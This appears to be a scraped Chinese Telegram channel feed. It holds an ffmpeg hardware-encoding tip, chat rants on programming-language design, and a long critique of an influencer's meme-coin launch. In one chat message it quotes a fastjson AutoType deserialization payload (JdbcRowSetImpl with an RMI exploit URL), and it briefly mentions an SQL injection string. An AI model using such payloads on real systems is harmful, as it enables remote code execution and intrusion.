duangsues.is_a? SaltedFish
60 subscribers
609 photos
6 videos
91 files
562 links
🌶🐔🐟 duangsuse 的日常
尤其喜欢发些奇奇怪怪的东西
和转载别人的东西
Download Telegram
Forwarded from Rachel 碎碎念 (Rachel 🐨)
最近才发现 ffmpeg 提供了 Android 设备的 MediaCodec 支持,可以调用底层硬件加速编解码,兴冲冲地用手上的小米 13 压缩 Big Buck Bunny,结果发现高通提供的 h264 编码单元质量就是一坨…

如果各位想试试看的话,可以在 Termux 里安装 ffmpeg,使用 ffmpeg -codecs | grep mediacodec 看 ffmpeg 支持的编解码器,然后将视频的 codec 换成对应 mediacodec 的版本即可,例如一个 libx264 的视频可能是这样:

ffmpeg -i input.mp4 -c:v libx264 -vf "format=yuv420p" output.mp4

使用 h264_mediacodec 编码的话,就写成这样:

ffmpeg -i input.mp4 -c:v h264_mediacodec -vf "format=yuv420p" output.mp4

它应该会自动调用最合适的硬件编码器,如果需要手动指定,也可以下载一个 Codec info ,或使用 Device Info HW 这类工具查看设备的编解码器信息,例如我希望指定图 2 中高通提供的 avc 编码器 c2.qti.avc.encoder ,那么:

ffmpeg -i input.mp4 -c:v h264_mediacodec -codec_name c2.qti.avc.encoder -vf "format=yuv420p" output.mp4

上述工具还可以查看编码器具体支持的参数等,例如高通这个就支持恒定/可变比特率,但不支持 CQ/CRF;当然,不同厂商甚至同厂商不同芯片的硬件编解码器,都可能有巨大的差异,欢迎各位尝试后分享在评论区!

视频来源: https://bbb3d.renderfarming.net/download.html ,感谢群友提供
Codec wiki 中关于 MediaCodec 的文档: https://wiki.x266.mov/docs/encoders_hw/mediacodec
Android 官方的 MediaCodec 文档: https://developer.android.com/reference/android/media/MediaCodec
#linux #java duangsuse, [11/25/24 9:35 PM]
我也可以直接贴个 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"}

你们觉得这对技术水平有帮助吗? 所以你打算怎么修, blacklist it?

Science Yuan, [11/25/24 9:36 PM]
他是想说 fastjson 的作者完全不懂什么是面相对象

duangsuse, [11/25/24 9:36 PM]
fastjson 的安全问题确实出在AutoType,但问题不在这几个exploit上

duangsuse, [11/25/24 9:37 PM]
总而言之,这作者就是个性能迷,偏偏它还不如Rust懂数据结构

duangsuse, [11/25/24 9:39 PM]
javaer一直有个错得离谱的观点是,只要劳资写的都比JDK或apache快,tmd

dragove, [11/25/24 9:39 PM]
反正后面的版本默认关闭autotype,有白名单机制,fastjson2也是,感觉都是旧事了

duangsuse, [11/25/24 9:40 PM]
怎么不说PHP SQLi后来PDO也防了呢? 没有直接拼字符串方便,他们不会修的。关键是这人连APT或KSP都不会写,还处理静态结构

duangsuse, [11/25/24 9:42 PM]
Spring最开始还要写好XML才能玩,后来有人做了SB自动配置, 这货是刚学会Tokenizer就想揽瓷器活,真是不给下游加班的着着想

duangsuse, [11/25/24 9:43 PM]
C又没有C++ RTTI,啥都是指针啊,数组也是

Linux 的进程隔离,就是为了修C的这些毛病和while(true)给libc弄出来的虚拟机

Sherlock Holo, [11/25/24 9:44 PM]
那么为什么有方法和接口的语言还这样搞呢

duangsuse, [11/25/24 9:44 PM]
没办法,先辈的罪,你看Rust和py的最佳实践有没有%s

duangsuse, [11/25/24 9:45 PM]
fastjson不就是这种「自己造轮子,别人背黑锅」的典范么
我看Google写一次就行了,就像Blink,别人啥都不要写,省得出bug

有几个人能写出 ffmpeg 作者 Bellard.org 那样优美的代码

duangsuse, [11/25/24 9:48 PM]
JS可以抛弃掉alert()和XHR这些卡调栈API, 不会影响任何应用正常运行, VSCode单线活得好好的

duangsuse, [11/25/24 9:52 PM]
我看到的是,现在包括go func; Kotlinx.coroutine,都为了「高并发」把与 userspace 分离的线程拉回了 userspace
至于Android呢,它的存储管理是用FUSE, 又是 userspace

duangsuse, [11/25/24 9:53 PM]
而Linux自己呢,被syscall(CGroup)沙盒容器化得不成样子,好像每个pid都root也能正常工作
我还发现有人喜欢玩eBPF ,这是一种在「内核里」eval用户脚本的方法,比油猴高级不到哪去
完全不需要是现在这个样子

duangsuse, [11/25/24 9:56 PM]
只是取信于轻量化的技术罢了,比如 a.filt(x=>x<0) 胜于 select x from a where x<0

duangsuse, [11/25/24 9:58 PM]
他没说错啊,那时候Docker还没火呢。

现在Python和NPM都开venv,难受死了,真是麻烦

isekiのChannel, [11/25/24 9:59 PM]
https://www.yinwang.org/blog-cn/2019/08/19/microkernel

isekiのChannel, [11/25/24 9:59 PM]
我的理解是他试图利用编程语言的高层次抽象机制,来保证安全性

duangsuse, [11/25/24 10:00 PM]
错了吗? eBPF, WASM, 甚至前段时间出问题的 CrowdStrike ,哪个不是这样

duangsuse, [11/25/24 10:02 PM]
以前我们以为有apt;rpm这些就不用打包apk,exe
没想到面对 AppImage.org 和npm黑洞,传统容器化一败涂地……

duangsuse, [11/25/24 10:04 PM]
行业百草枯,啧啧
我看过ArkTS,只能说设计模式,脑子被驴踢了
Java8好的精髓没学到,融合上TS的类型体操,糟粕抄了一堆,也配叫仓颉

duangsuse, [11/25/24 10:09 PM]
也不全对,比如,你学Android开发就会知道 Activity, Bundle, Fragment 这些,学React就知道状态保存管理
这些UNIX里都有,但都不精。 Bundle就是URLParams或os.environ,Intent就是PATH.so.的main(..) ,State就是各种rc,/etc/conf ,其实每个日用的系统,都有一套自己的「UNIX」

最典型的就是Plan9,它为Linux贡献的/{proc,sys} 文件系统与叠合挂载(bind, overlay..),今天还被用于Termux等跨端容器
Termux.org 首页的那个htop, 就是依靠这种真·一切皆文件 获得的跨平台性
duangsuse, [11/26/24 10:25 AM] #java
因为OOP强制要求你override方法签名相同, FP只要有 x:Coin as Money 就够了

duangsuse, [11/26/24 10:26 AM]
我也是今天才知道有这么个要求,应该是避免人 override fun f(xx:Any) 设计的

duangsuse, [11/26/24 10:30 AM]
我是有点不喜欢OOP把一个kwargs补齐写成override这么麻烦, 和public一样凑字数
JVM这个getXX文化有意思,因为JS都是用defineProp元编程从不手写,另一种凑字数。

无非是为了子类能加算式,但实际上DTO根本不会有那么多逻辑,最多有ext fun ,所以这「封装」就是写着搞笑的,安全是自欺欺人,害了Kotlin

这种非常不好的习惯影响了pwsh和Qt,可谓Java的隐形八股,Gson这些东西非常清楚地摒弃它们
因为有这玩意 Javaer 还以 XXBuilder().new() 为自豪呢,大家都懂那连 T().apply{}/copy{} 都不如,更不必kwargs

abstract fun f; class T(val x) 和 T({f: wtf}) (0) 是没有啥区别的

C++修正了C语言".so对象" 不能跨线程、跨配置的问题,我看Java也没有修正abstract函数的这个低 compose 问题

duangsuse, [11/26/24 10:36 AM]
包括 ext fun or class 的设计,比如 InputStream$Filter 吧,我觉得很适合写成
inner class InputStream.Filter(x:Char) {
fun read()= if(super!=x)...
}


而不是extends,既浪费命名空间也要手动加 fun File().inpStream().. ,但OOP就有这个限制
如果Kotlin要这么糖, 就需要额外生成一个 override fun 去代理构造器

duangsuse, [11/26/24 10:42 AM]
嗨,感觉这协变没翻译的必要, ?extends Any 有啥不好理解
duangsuse, [11/26/24 2:01 PM]
你说的不就是到处getset造成的问题吗,JSON读写下直接用不成了, is get has 的都不一样

duangsuse, [11/26/24 2:07 PM]
你说的3个class common val 必然是继承之外,多态的情况,那就是 sealed class 呗
如果单纯给每个class生成getXX, 其实和 fastjson 给每个对象@autotype 一样蠢,那就是JVM现在的尿性

duangsuse, [11/26/24 2:09 PM]
Ruby 的设计才真是天才,人家没有SQL注入问题,因为 eval(s) 会检查 s.taint? ,人家都有污点分析,直接从根源知道什么是安全的值,啥能是攻击者构造的

Ruby class 可以外部扩充,有元类单例,那才叫类,java的顶多叫 newtype / struct ,而且Ruby有区分编译期:sym ,有 Crystal-lang.org ,Java20都想不明白

duangsuse, [11/26/24 2:12 PM]
那只能说是RoR的开发者不懂这些对象内部机制, 反正Ruby的元编程技术是有目共睹的

duangsuse, [11/26/24 2:16 PM]
Vue和React对ES6 Proxy({}, 语法重载) 有所了解,作为架构师,这当然是必要的, 你不检查开销也在那

duangsuse, [11/26/24 2:17 PM]
不过它们有个问题,就是Proxy实际上不如defineProp明确,vdom实际上不如Signals细粒度绑定, 但喜欢玩魔法是人类的共性,能用就行

duangsuse, [11/26/24 2:19 PM]
React hooks 更蠢,还有一群数字人捧得跟神似的, 加个var都靠useState(0),真神经

ES6和kt为什么没想出这么能凑字数的术语, Java八股文写了20年也写出这种省脑筋费命的框架啊
duangsuse, [11/28/24 11:51 AM] #kt #plt
$$"$${order.product} costs $ $${order.price}"


好像就是为了解决标价&bash内嵌格式化的问题…… 呃,js Intl API
挺鸡肋

https://github.com/Kotlin/KEEP/issues/375#issuecomment-2052211773

非本地的 “break” 和 “continue” 挺好的,while 可以扔进历史垃圾堆了
[1 2 3].forEach{ if(it>2)break }
[1 2 3].filter@cont{ if(it>2)return@cont; print(it) }
//vs
let {
[1 2 3].forEach{ if(it>2)return@let }
}
[1 2 3].filter{ if(it>2)continue; print(it) }


duangsuse, [11/28/24 11:55 AM]
btw. 主题在 “when” 中的保护条件 这啥鬼翻译诶,不是说和 when(x){in}, when(x){is} 对仗吗

.: IfAnimal
- Cat-mouseHunter [YY]
- Dog-breed [""]

feed-u [IfAnimal]: u :.
Dog: feedDog(u)
Cat, u mouseHunter not: feedCat(u)
\: say: "Unknown animal"

feed (Dog "Snoppy")



sealed interface Animal {
data class Cat(val mouseHunter: Boolean) : Animal
data class Dog(val breed: String) : Animal
}

fun feedAnimal(animal: Animal) {
when (animal) {
// Branch with only primary condition. Calls `feedDog()` when `Animal` is `Dog`
is Animal.Dog -> feedDog()
// Branch with both primary and guard conditions. Calls `feedCat()` when `Animal` is `Cat` and is not `mouseHunter`
is Animal.Cat if !animal.mouseHunter -> feedCat()
// Prints "Unknown animal" if none of the above conditions match
else -> println("Unknown animal")
}
}


duangsuse, [11/28/24 12:03 PM]
-- Haskell code using pattern matching for comparison
data Animal = Cat { mouseHunter :: Bool } | Dog { breed :: String }

feedAnimal :: Animal -> IO ()
feedAnimal animal = case animal of
Dog {} -> feedDog
Cat { mouseHunter = False } -> feedCat
_ -> putStrLn "Unknown animal"


和Haskell比一下:总的来说,Kotlin 中的模式匹配在处理简单的类型检查场景中更直观明了,而 Haskell 的模式匹配则更加灵活和强大,能够处理更复杂的情况。每种语言在不同的情境下都有其优势和适用性。

duangsuse, [11/28/24 12:07 PM]
kotlin 挺有意思的,我还以为是 when(u.age) { >18 -> {} < 4 -> } 那种
看来避坑了
不过对这种情况是有类似for(x=;;) 的 when(val x=u.age) { x>18 的,没人用而已

duangsuse, [11/28/24 12:17 PM]
要我说,kt 应该把 when-is/in 语法数据化,就像把 when(x){A-> B->} 换成常量mapOf(),这样再加API来写序列化器、宏,不就没kapt那么多破事了?

现在 id=when(u) {is Animal.Cat if !animal wtf} 加if,如果再支持 infix fun, isEmpty 啥的,不好看, 如果一开始就是 val getID={ when it -> listOf(), notEmpty -> ; mapOf(), size>10 -> } ..
好吧,还是现在的语法简单

duangsuse, [11/28/24 12:32 PM]
Kotlin 对我来说有点像矮子里最高挑的, Haskell 这些的理论看起来很完备,在极少情况下语法很漂亮,其实连可变性(useState)和脚本自动化(py..)都无法处理 💭

kt在理论上虽比Go强太多(那货泛型/特化reifyT都是舶来品),看起来是默认不可变的OOP,API用起来像比FP更懂FP,却无法很好黏合二者。 Result,mapTo, let also apply run 并不简单, listOf for-in val var override 写起来也心累

我对它最大的印象停留在 T?. xx ?: !! infix/operator fun T. T.()-> 和 when-is/in 这些必要特性上(也包括这次KT2.1更新的 inlined nonlocal jump),似乎只在这些地方它比py更好,而OOP class的扩展完全是拖后腿

比方说, Exception 明明可以默认用 Nullbility 的方法处理,就像 runCatching{}?. 做的;sealed 明明应该写成 enum Lit { A(str) B(int) } 那样 —Kt enum 本来就可以带field,而 inner class 明明可以用于生成 override fun A.PairTo(:B) 这种原型工厂
这些都是OOP的三脚猫语法,因此 OOP有十几种「设计模式」,意味着语言比工程需求,落后了七八种语法/数据模型
Kt很巧妙的只解决了null, ext fun/DSL, Lombok 这几个问题,甚至跨平台、协程、就连最基本的序列化和CLI(vs fire.py ?)都是残的, 完全悖离了语法简明性,变成Java第二 ,在这些领域败给了民科Go

现在有Rust吹觉得它们可以在性能和内存安全上胜过py,就像 mojo-lang? 科学家们不会在乎这些不影响语意的符号的。 其实「多美元字符串插值」 是什么? .. 只能说,和ES6的防SQL注入字符串,没法比。
#plt duangsuse, [12/2/24 6:49 PM]
其实中国 OS/compiler 还挺好的,就是冷门而,今天就看到一个挺出乎意料的文,推荐

duangsuse, [12/2/24 6:53 PM]
AI在这方面最初挺好的, 恐怕比科班更简洁明确,现在不知道怎么样

duangsuse, [12/2/24 6:55 PM]
说起来玩东方和JOJO的技术人也挺多,acg人均好奇心爆棚吧

duangsuse, [12/2/24 7:00 PM]
这作者还被一个莫名黑子骂过呢,哈哈

def:yield 就是自动生成的 iter()able 啦, 做题家就是喜欢在茴字的写法和那两块钱上说气化……
https://t.iss.one/dsuse/20203 讲过他说的内容

https://mp.weixin.qq.com/s?__biz=Mzg3NTczMDU2Mg==&mid=2247531983&idx=1&sn=2d05ea71d3f45cf2ab08151f640a496c

duangsuse, [12/2/24 7:14 PM]
没有什么正反馈很难坚持。拿我自己来说, 我目前毕业即失业,虽然日常开销就吃饭,但经济主导权不在我,连继续都难。 对在职开发者,做文章都是有开销的

而且单纯从 C source 来分析一个 parser+codegen+bytecode 并不好。拿《Lua的设计与实现》说,C连 enum Val{A(int)B(str)} 都没有,char s[N]里N运行时都能被擦除,又有作秀般的 _M_ 啊._wtf 啊的无意义变量名,自己分析起来废话难免多

应该多学几门语言,比如《Ruby元编程》《Ruby under microscope》,跳出语法和私货来分析它们,这样你才能站在和 Guido 平等的角度揣摩利弊,而不是作为CPythoneer在细节上被拖累死

_parse_string 建议外提一下, ESCAPE_CHARS[escape_char] 也可以用 if None 或 lookbehind Regex (?<\\) 的逻辑做,减少forin这样的硬结构

btw. py界标准做法好像是50行 https://github.com/pyparsing/pyparsing/blob/master/examples/jsonParser.py#L51
Forwarded from dnaugsuz
没有很厉害啊…… JSON.org 语法是这样,10行而已 ☺️
变量名基于 sikxfaned久类型: str idx kv any fn ary nItem eTree decimal

JSON  X
X (S|D|{S:X ,}|[X ,]|true|false|null)
S '"' ([^\\"]+|\\Esc)* '"' #G-
Esc ["\/nrtfb]|u hex{4} #Gk

D num (.int)? ([eE]int)? #Bn
num '-'? ([1-9]int|[0-9])#Bn

hex [0-9a-fA-F]
int \d+
ws ' \n\r\t'*
# ws:每小写符号前要跳空格, #高亮tag 内禁用


拿「语法D」为例,搞个流
strm=([s], i=0)=>(n,took)=>{ let k=s.slice(i,i+n); i+=n; return (took===NO)? k : (took)? took(k) :  (i-=n, k) }

NO=null, ps={parser:'json'}
ps.D=(s, it=0,shr=0)=>{ //D num (.int)?
while(+s(1)) it=it*10+(+s(1,NO))
if(s(1)=='.') { s(1,NO) // 这些逻辑可以靠Combinator复用
for(;+s(1); shr++) it=it*10+(+s(1,NO))
}
return it*Math.pow(10,-shr)
}
ps.D(strm(['123.45'])) //123.45

至于递归,我拿圆括号为例,就更是三行以内了;可以读到 print (+ 1 (* 2 3)); (exit 1) 。算式的话看我频道 带步骤的四则计算器 、 解释器(=深先改树改数) https://t.iss.one/dsuse/17410 https://t.iss.one/dsuse/19868
//Top  Str|[0-9]+| '(' Top* ')'
tok=(cod, s=cod.split(/\s+|([()]|\w+|\S+?)/).filter(x=>!!x).values())=>
()=>s.next().value

sexp=s=>{let a=[],x;for(;(x=s())&&x!=')';)a.push(x=='('?sexp(s):x); return a}
//^ 一般需配对')'。此省行数,F12 sexp(tok(prompt()))


需要注意的是,demo用的都是最practical的写法,没有LL1、ANTLR那些八股文。 C的话涉及无关的内存管理、抽象struct等问题,但只写EDSL(基本=fun调用.bind,能够晚or多次执行) 可以
datatype(Calc,
(A, int),
(Op, Calc*, int(op)(int,int), Calc*)
); //纯预处理宏ML99 ADT写法


总而言之,有多难,取决于你的做法。 如果不做多余的工作,可以很简单。
duangsuse, [12/17/24 4:20 PM]
现在CRUD boy都一票难求,还remote……

duangsuse, [12/17/24 4:25 PM]
得了吧现在国内经济你还换

duangsuse, [12/17/24 4:25 PM]
我换了我上个开遥控无人车的工作都后悔了

duangsuse, [12/17/24 4:26 PM]
遥控,景区的那种单路线车,配合东风的品牌宣传……

duangsuse, [12/17/24 4:29 PM]
是的,这几年毕业生工作难找,

duangsuse, [12/17/24 4:29 PM]
但是要装成是培训班服务,或者人力资源外包的这种玩意

duangsuse, [12/17/24 4:35 PM]
不是的,现在确实有这种急着找班上,被培训班钓鱼的

duangsuse, [12/17/24 7:16 PM]
老一背喜欢捡便宜,搞超前消费
不知道自己是吃时代红利,还因为全靠学历

duangsuse, [12/17/24 8:57 PM]
我没写过app。 2015那会安卓还流行createViewHolder呢, 当时看材料发现就是React diff 那套,重赋值复用旧View……
Svelte的Signal都把diff淘汰了,安卓Compose还在搞diff

duangsuse, [12/17/24 8:58 PM]
最要命的是,这纯粹是ListView的实现细节,过早优化,创造门槛,结果现在? 被超级简单的VueReact淘汰了……

duangsuse, [12/17/24 9:00 PM]
我倒是觉得安全系,除了搞Mods,AOP,破解, 没前途

最好吧网安当成OI&CTF。 哪里有 user=' or 1=1 这么弱智的内存安全漏洞钻……
duangsuse, [12/17/24 9:08 PM]
#ffi 好抽象
JDK21 jdk.incubator.foreign demo:
call them in "a.so"

byte inc(byte)
int sum(struct*{int x,int y})
char* add(char*, char*)

duangsuse, [12/17/24 9:12 PM]
Java每次都是这样,抄都不会,抄import cffi 不行吗? 上次抄Kt when{is} 也是,case Subtype x: 都没抄好, STR."" 抄ES6都不会

Java有一种WinAPI的傲慢,好像用那一长串函数名就可读了, 实际上爱写的早就写JNI去了,正常人根本懒得用

duangsuse, [12/17/24 9:15 PM]
        String result = switch (obj) {
case String s -> "Length of string: " + s.length();
case Integer i -> "Value is an integer";
default -> "Unknown type";
};

还真是会抄,现在又加上了 is Int, if it.. 守卫,哈哈
duangsuse, [12/20/24 8:17 PM] #oop
就是免指针啊,long实现IntRange(int A,B)什么的

duangsuse, [12/20/24 8:18 PM]
东西是好东西,就是感觉没啥必要, 高不成低不就。
swap(&a with &b) 零开销抽象,也做不到

duangsuse, [12/20/24 8:20 PM]
https://lanlan2017.github.io/JavaReadingNotes/b20bb69e/ 还是长姿势吧
Reflection和MethodHandle机制本质上都是在模拟方法调用,但是Reflection是在模拟Java代码层次 的方法调用,而MethodHandle是在模拟字节码层次的方法调用。

duangsuse, [12/20/24 8:33 PM]
https://developers.redhat.com/articles/2022/03/16/range-check-elimination-loops-openjdks-hotspot-jvm for循环优化

duangsuse, [12/20/24 8:37 PM]
变成值类型? pointer tagging?
Rust对 enum Option<T> 有这种优化,但对enum{str,int} 可做不到

duangsuse, [12/20/24 8:39 PM]
我能理解的没开销就是,把 val x=(A to B) 存储在泛型参数里,然后 x.swap直接翻转泛型参数,这样没有开销,当然就需要很怪的编程方式,符号也不能离开域

存储Int肯定有开销, 顶多是拿Long保存2int

duangsuse, [12/20/24 8:45 PM]
Rust本来就不是OOP,没有boxing和泛型皆Object带来的这种问题

rs只有enum才是带tag,OOP本来就基于data+tag双指针, Result<T>{Ok(T) Err} 又白白套了一层,其实标准库是有优化的,都合并到Object子类了

OOP基于data+tag双指针是范式的限制,为了访问绝对安全以及toStr等易用性
理论上Rust和C++模板泛型的模式才是正常的,Java太JS化了

duangsuse, [12/20/24 8:47 PM]
Rust可以写成有dyn双指针的形式,也可以只有struct,没有虚表
使用数组和接口仿subtype就是前者,默认是后者, 然后没有退化到Object的泛型和反射,就是编译期derive宏和奇奇怪怪的Named 结构泛型

duangsuse, [12/20/24 8:50 PM]
要分情况讨论,如果只是overload,包括template<on T>,mangle一下函数签名,叠合一下各处<T>的定义生成List::$of_int..就OK
如果有enum{str,int}就需要多态,一般是靠虚表,Rs是胖指针(&dyn)实现, C++是直接把虚表inline

duangsuse, [12/20/24 9:19 PM]
https://zhuanlan.zhihu.com/p/588932823

JIT OSR 就是的啊,如果compiler觉得自己比你聪明,那就是的
我是觉得 Int[] 这些泛型实化还需要优化,数组和局部分配JIT的挺好

duangsuse, [12/20/24 9:31 PM]
Java 值类型预览——Project Valhalla
好了,总结一下, Java 现在有 Option<T> 和 List<int>了,不写成T?而是ref T
然后equals可以写成(==)了,synchronize(obj)删了, 值相等不再强求new的容器是同一个,因此应该final以方便优化

JVM上面值类型没法实现C那种byte[] struct啊,value class 最多能存储2long的宽度,
>__int128 is passed either in two registers (if available) or in a 16 byte aligned stack slot

能够用来优化LongRange和Strumbra,包括Vec2 ,不可能保存俩指针。好像也没那么重要

你们需要的肯定是编译期计算,能够做 call(print, {ABCD}), if(Both(Eq(天蓝), Eq(云白)), tagUnionOp.. ) 的那种 value class
因为现在的值类型和一个大号 typealias 没区别

duangsuse, [12/21/24 12:57 PM]
我一直认为 json.load/dump 应该是标准库支持,如果这都做不到,实在是无法言表的弱
与numpy相比缺的类型太多了

duangsuse, [12/21/24 12:59 PM]
XML的数据模型太迷了,<list> <user> </></> 这样么?list的tagName又有何意义呢

duangsuse, [12/21/24 1:01 PM]
后来发现XML就是有{type: A|B}的json,DOM多有个list,俩特性基本都用不到,好了。

XML用这种区分{type: A|B} 的tagName当"key":v 嵌套用,不被淘汰才怪呢。
https://gist.github.com/ericis/463e850a9fb10cbac0eb326d70a43ef8

Java界容忍了XML这么久,铸币吧,人机格式当成best practice,我怀疑他们是伪人

html表示为json,是这样
[{type:div, hide:true},  [p, 'Hi', name], 'textnode']

有些人不这么认为
很明显,直接stringify DOM树 API 是错误的, html的本质是吧 <div k=v> 视为child0
[:div {:class "Class"} [:p "text]]
非常幽默的是有些人写 <input /> 还是不影响解析流程的,控制不了什么是有child的

XML整个工具链都非常幽默,完全没有CSS的美感

没话说,java js 各自的build都十分铸币
py基本不需要test打包和分模块版本,又显得和make一样轻量

总之,现在若要部署一种调了很多API的技术,还是Web最省心。 发布、依赖、 minify、fatJar 都是1行解决,模板很多,没有各种奇奇怪怪的配置

duangsuse, [12/21/24 1:40 PM]
xml搞closetag是为了方便阅读,但强制这么设计十分人机

duangsuse, [12/21/24 1:50 PM]
没话说,java js 各自的build都十分铸币
py基本不需要test打包和分模块版本,又显得和make一样轻量

总之,现在若要部署一种调了很多API的技术,还是Web最省心。 发布、依赖、 minify、fatJar 都是1行解决,模板很多,没有各种奇奇怪怪的配置

Zika Tang, [12/21/24 2:11 PM]
Python和yaml因为这个问题,我都不喜欢

duangsuse, [12/21/24 2:12 PM]
你不喜欢没关系,科学界和做DNN的喜欢,比任何其他语言都简洁

duangsuse, [12/21/24 3:13 PM]
得了吧 val var 分半天的,也就class(var)比OOP简洁,但是py元编程容易的很,@data class 这些模式比JVM墙太多了

duangsuse, [12/21/24 6:49 PM]
可不是依赖,这是有原因的。 没人喜欢程序员那一套玩意, py与任何语言相比都更自然,印书本上也不会有机翻的感觉

duangsuse, [12/21/24 6:51 PM]
py和C生态走的近,又没有Lua和Ruby的end等怪癖, 和需要虚拟机的Java相比非常有黏力,Java就是速度快点的py而已
#china 李老师
15:48 「他(最近)一直做这个事情是挺辛苦的」,
谨言慎行,没毛病,
确实辛苦,因此,他在这个团队中的份量不会轻,团队的言行也必然和他的言行强相关,

17:11 「不是说他现在的影响力的一个背书」,
他可不只是用他的影响力为这个项目背书,而且亲自下场深度操作,他的大号小号都已经有多个帖子表达个人观点了,是个人观点!不是往常的接稿发稿,
不必一面肯定方脸和徐某人是团队里确定的物理真身,一面认为李只是一个抽像的符号,只是团队的一份子,这样似乎李是被团队强行架上去推到前台的? 或者只是借助李的人气?
如果我没记错的话, 曾经在别人转贴里看到过徐某人和李线下多次外出游玩,那么两人关系并不只是纯粹线上公开交流,

28:24 「现在有好几个李老师,你信任的究竟是李颖这个人,还是他们这个币里说的呃旅居意大利的这个艺术家李...」,
「李老师不是你老师」,「李颖」,「旅居意大利的这个艺术家李」,「Lee1ng」,这四个名词对应的就是同一个人,大号可能只是有新人加入他,而不是他带着大号加入别人,这个顺序不能搞反,难道还有人冒充他的可能? 这事发酵初期确实有人怀疑他被盗.d号了, 然而,
至于「Li」这个为发币项目建立的新号, 背後是团队还是他个人,无所谓,反正他是这个项目的团队中的一员是确定无疑的,有他自己的帖子为证,
那么,没必要用抽像语言主观强行将这 5 个名词做切割,真.虚拟分身? 真.不同物理肉身人? 撇清关系? 为何对李如此纠结的袒护?
因为屏幕网线背後都是活生生的物理世界的真实的肉身人,
有网友考古到他几个月前的一个帖子就已经透露了开始谋划了,这应该是李深度参与甚至主谋之一的一个证据,或许是间接证据,更多证据正在浮出水面,

这并不是项目白皮书,没有哪个正规的团队和项目--无论什么行业领域--会通过在 x 上发帖子的形式来发布白皮书,不仅如此,行文和内容也与正常白皮书规范相去甚远,
至于他帖文里泛泛空谈的口号噱头,过去 100+ 多年里,这些滑稽少了吗?
不说远的,就是最近 30+ 年里,轮子,各派民运,郭蚂蚁帮,哪个不是喊着这些口号,表演着同样的滑稽?
老实说,这些前辈还真做了一些实事,包括援助和解救墙内受迫的人,当然伴随着人气和流量的增长,越往後越变质,打着动听的旗号和乐于助人的姿态收钱办事,
然而,反观李和他的团队呢?只是接投稿,发投稿,可曾线下物理实体的帮助过哪怕一个人?就急不可耐的表态说「需要更多钱才能维持的了运作这样子」,
(ps 如果他和他的团队有线下帮助过具体,恕我无知,可请告知,毕竟我早就不关注他了,要不是这事,也不会想要看他表演新的滑稽),
高调玩这些游戏的玩家,可以说,殊途同归就是他们的宿命,就像黑洞,坠落到同一个目的地--割韭菜,流量变现就是宇宙尽头吧,民运圈的这样的烂事还少了吗?
x 上有人怂恿刘姨也发币,
就因为每一代人都是懵懂无知的成年进入到社会?因为总有社会经验丰富的深谙人性欲望的大佬去收割鲜嫩的社会萌新?如果是这样,墙.q国和这些所谓的「華人」或什么各种「独」永远不会有希望和出路,有的只是轮回罢了,当然,不可否认,历史的真相几乎都是肮脏的,肮脏的博弈中也可以逐渐冒出正常,但这是小概率事件,
缺钱可以理解,粉丝流量变现有无数种方式,嫌弃太慢?所以选择发币?到底是捐款募资?还是以盈利为目的呢?他和他的团队并没说清楚,
李并不特殊,庞大粉丝和流量也不会是他必须享有特权和特殊对待的理由,不必双标,
题外话,米帝对外的双标是公开的,米帝大佬精英对内的双标是隐晦的,并不是没有。慕强是刻在生物基因里的,不仅仅是武力 智力 资源 的慕强,也包括对名气 人气 名望 威望 流量 影响力 的慕强,尤其是群居的社会化动物,包括人,只有良好的制度才能让人得到公平的保护,并且放心的甩掉慕强这种病态言行,

币圈发币,尤其是网红 大v kol 发币,名人站台,等等,杀猪盘的概率有多大,不说精确的统计数字,肉身体感都有明确的感知,这不是针对李一个人,谁发都一样,
pump.fun 是什么平台, 简单粗暴的说就是一个低规则甚至原始规则下的猎.l杀游乐场,里面充斥着经验丰富工具丰富的玩家,也充斥着懵懂的韭菜玩家,欲望是贯穿其中的唯一驱动力,
这平台上有没有冲起来的标的?有没有上架cex的标的?当然有,但非常x3少,完全看做市商和或大户是否有意愿持续托底,然而meme币的性质决定了绝大多数标的都不会有持续性的周期性的托底和哄抬拉抬,
就算这个标的能够走出来,就算大部份筹码都已在市场流通--并没有,就能避免割韭菜了吗?他和他的团队能控制行情和走势?参与这个盘子的玩家是附和他口号噱头的多?还是投机的多?无论哪个多,最终都只是大户又一个割韭菜的工具而已,

和平台也无关,平台并不重要,类似的平台也有很多,重要的是李和他的团队的行为,
一个标榜民主自由的人,自我打造的如此人设,和币圈惯常割韭菜的风俗苟合在一起,借助币圈工具来募资?盈利?现今时代,「反差」果然就是流量,矛盾冲突是艺术表现力的重要来源,他果然是艺术家,
如今大号主业只是接投稿发投稿,在人气流量暴火之後,大号几乎不再发任何个人言论,猥琐在小号里发自己的三观,任何一个正常的自媒体,比如大体上同类型的如「大声」也不是这样吧,他这样做是有什么刻意的安排吗?
诡异的是,最近一天,也就是 12h 前,他用专门发投稿的大号发了一篇个人言论的帖子,评论关于某交.易.所对他和他团队的 meme 币的「恶意」标注一事,这就很滑稽了,他为了平衡或纠正舆论,特意用人气和流量暴表的大号来发这个帖子,有力量,用心良苦,
已有热心网友考古翻出他以前的关于币圈的言论,和如今的他对照,又一次戏剧冲突,当然,他不在乎,既然他都不在乎,那么瓜众为何要在乎他?社会关系是相对的,公平公正才有可能,
人性经不起考验,不是瓜众和或他的粉丝要考验他,而是他选择用发币的方式来考验粉丝的忠诚度是否能表现在行动力上,这是粉丝提纯的操作吗?那么,事情的发展就由不得他和他的团队能完全控制了,

这几天,已经有很多人从各种角度审视他的项目和细节了,包括从币圈技术角度,是什么形状,明眼人心知肚明,
另外,早有人说过,他只是接投稿,发投稿,即便一天的量再怎么多,从他大号每天发帖数量看,只需 2-3 个人的团队就可以完成,
当然他还有在做频道,现在借助 ai 一样可以把素材和想法高效率的快速串起来,甚至还能帮助润色,有专门网站根据脚本内容来自动匹配出提供对应的视频画面素材,因此,并不会消耗太多精力,当然我没看过他节目,
他包括他发币团队的另外 2 个人,我都没关注,2-3 年前首入眼帘看了几个帖子後就已全部静音,直觉或许偶尔也有一定合理性,包括诸如什么五毒散人,王亚军,大老王,王志安,米帝大兵,二大爷,... 等大v都是一眼假,只有徒步骑手,老雷,公子沈,懵了很久,直到他们主动暴露,
为何对李不感冒?李做的事,无论是接投稿,还是发币,都是典型的中心化行为,这与自香港抵抗以来的去中心化或多中心化的理念和实践,严重背道而驰,对于参与者来说也伴随着更大的风险,而在面对同样的风险时,那个中心,更容易全身而退,甚至有很高的价值被统战,

还是那句话,任何时候,任何场景,不以粉丝量流量改变评价标准,不双标,
如果对方势力弥天,慑于对方实力和能量,可以沉默,可以择机,完全正常,

